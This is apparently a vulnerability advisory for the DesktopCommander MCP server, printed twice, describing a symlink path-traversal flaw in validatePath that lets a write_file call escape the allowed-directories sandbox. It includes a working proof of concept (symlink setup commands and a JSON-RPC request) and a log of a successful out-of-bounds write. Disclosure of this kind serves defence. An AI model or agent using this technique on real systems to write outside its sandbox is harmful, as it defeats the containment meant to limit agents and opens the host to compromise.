Advisory Details
Title: Sandbox Escape via Symlink Path Traversal in validatePath
Description:
Summary
An arbitrary file write vulnerability allows any user or agent with access to the MCP write_file tool to bypass the allowedDirectories sandbox restrictions. By exploiting a subtle flaw in how symlinks are handled for non-existent file paths, an attacker can write or overwrite any file on the host system, potentially leading to arbitrary code execution (RCE).
Details
The vulnerability originates in the validatePath function located in src/tools/filesystem.ts. This function is strictly responsible for confining all file operations (reads/writes) to the allowedDirectories whitelist.
When validatePath processes a new file path (e.g., when calling write_file), it first invokes fs.realpath to resolve the absolute physical path to defend against symlink-based traversal. However, if the target file does not yet exist, fs.realpath throws an ENOENT exception. The code catches this exception and simply swallows it:
let resolvedRealPath: string | null = null;
try {
resolvedRealPath = await fs.realpath(absoluteOriginal, { encoding: 'utf8' });
} catch (error) {
const err = error as NodeJS.ErrnoException;
if (!err.code || err.code !== 'ENOENT') { ... } // Swallows ENOENT, resolvedRealPath remains null
}
Since resolvedRealPath remains null, the function falls back to checking the unverified absoluteOriginal path using a simple string-based prefix check in isPathAllowed().
If an attacker provides a path like /allowed/link/pwned.txt (where /allowed/ is an allowed directory, and link is a pre-existing symlink pointing to an unrestricted area like /etc/ or ~/.ssh/), the simple string check passes.
Finally, the validateParentDirectories function checks if the parent directory /allowed/link exists, which evaluates to true (because it resolves to the unrestricted area), but it tragically fails to verify if that actual resolved physical location falls within the allowedDirectories whitelist. Consequently, the sandboxing breaks and allows the attacker to write the file anywhere on the filesystem.
PoC
- Identify or create a symlink directory inside your
allowedDirectories. For testing, create an allowed directory and soft-link a restricted directory into it:
mkdir -p /tmp/poc/allowed /tmp/poc/restricted
ln -s /tmp/poc/restricted /tmp/poc/allowed/link
- Start the DesktopCommander MCP server configured with
/tmp/poc/allowed as its only allowed directory.
- Send a standard MCP JSON-RPC call targeting the symlink to establish a new file out of bounds:
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "write_file",
"arguments": {
"path": "/tmp/poc/allowed/link/pwned.txt",
"content": "PWNED BY SYMLINK TRAVERSAL"
}
}
}
- Verify that
/tmp/poc/restricted/pwned.txt is created with the rogue content, bypassing the containment.
Log of Evidence
[➔] Sending: {"jsonrpc": "2.0", "id": 1, "method": "initialize", "params": {"protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": {"name": "poc", "version": "1.0.0"}}}
[←] Received: {"result": {"protocolVersion": "2024-11-05", "capabilities": {"tools": {}, "resources": {}, "prompts": {}, "logging": {}}, "serverInfo": {"name": "desktop-commander", "version": "0.2.37"}}, "jsonrpc": "2.0", "id": 1}
[➔] Sending: {"jsonrpc": "2.0", "method": "notifications/initialized"}
[*] Sending write_file command targeting: /tmp/poc_cve_2025_11489/allowed/link/pwned.txt
[➔] Sending: {"jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": {"name": "write_file", "arguments": {"path": "/tmp/poc_cve_2025_11489/allowed/link/pwned.txt", "content": "PWNED BY CVE-2025-11489 VARIANT"}}}
[←] Received: {"jsonrpc": "2.0", "method": "notifications/message", "params": {"level": "info", "logger": "desktop-commander", "data": "MCP fully initialized, all startup messages sent"}}
[←] Received: {"result": {"content": [{"type": "text", "text": "Successfully wrote 31 bytes to /tmp/poc_cve_2025_11489/allowed/link/pwned.txt"}], "isError": false}, "jsonrpc": "2.0", "id": 2}
[*] Server responded to tools/call!
========= EXPLOIT VERIFICATION =========
[SUCCESS] File was created outside allowed directory at: /tmp/poc_cve_2025_11489/restricted/pwned.txt
[SUCCESS] File contents: PWNED BY CVE-2025-11489 VARIANT
Impact
This is an Arbitrary File Write sandbox escape vulnerability. It allows any client interacting with the MCP interfaces to break out of the configured allowedDirectories guardrails. The attacker can overwrite core administrative files (e.g., cron jobs, authorized_keys, bash profiles) leading directly to Remote Code Execution (RCE) and full systemic compromise.
Affected products
- Ecosystem: npm
- Package name: DesktopCommanderMCP
- Affected versions: All current versions
- Patched versions:
Severity
- Severity: Critical
- Vector string: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
Weaknesses
- CWE: CWE-59: Improper Link Resolution Before File Access ('Link Following')
- CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Occurrences
Advisory Details
Title: Sandbox Escape via Symlink Path Traversal in
validatePathDescription:
Summary
An arbitrary file write vulnerability allows any user or agent with access to the MCP
write_filetool to bypass theallowedDirectoriessandbox restrictions. By exploiting a subtle flaw in how symlinks are handled for non-existent file paths, an attacker can write or overwrite any file on the host system, potentially leading to arbitrary code execution (RCE).Details
The vulnerability originates in the
validatePathfunction located insrc/tools/filesystem.ts. This function is strictly responsible for confining all file operations (reads/writes) to theallowedDirectorieswhitelist.When
validatePathprocesses a new file path (e.g., when callingwrite_file), it first invokesfs.realpathto resolve the absolute physical path to defend against symlink-based traversal. However, if the target file does not yet exist,fs.realpaththrows anENOENTexception. The code catches this exception and simply swallows it:Since
resolvedRealPathremainsnull, the function falls back to checking the unverifiedabsoluteOriginalpath using a simple string-based prefix check inisPathAllowed().If an attacker provides a path like
/allowed/link/pwned.txt(where/allowed/is an allowed directory, andlinkis a pre-existing symlink pointing to an unrestricted area like/etc/or~/.ssh/), the simple string check passes.Finally, the
validateParentDirectoriesfunction checks if the parent directory/allowed/linkexists, which evaluates to true (because it resolves to the unrestricted area), but it tragically fails to verify if that actual resolved physical location falls within theallowedDirectorieswhitelist. Consequently, the sandboxing breaks and allows the attacker to write the file anywhere on the filesystem.PoC
allowedDirectories. For testing, create analloweddirectory and soft-link arestricteddirectory into it:/tmp/poc/allowedas its only allowed directory.{ "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "write_file", "arguments": { "path": "/tmp/poc/allowed/link/pwned.txt", "content": "PWNED BY SYMLINK TRAVERSAL" } } }/tmp/poc/restricted/pwned.txtis created with the rogue content, bypassing the containment.Log of Evidence
Impact
This is an Arbitrary File Write sandbox escape vulnerability. It allows any client interacting with the MCP interfaces to break out of the configured
allowedDirectoriesguardrails. The attacker can overwrite core administrative files (e.g., cron jobs,authorized_keys, bash profiles) leading directly to Remote Code Execution (RCE) and full systemic compromise.Affected products
Severity
Weaknesses
Occurrences
validatePathmechanism swallowingENOENTfromfs.realpathand falling back to naive string resolution on symbolic links, dropping validation boundaries.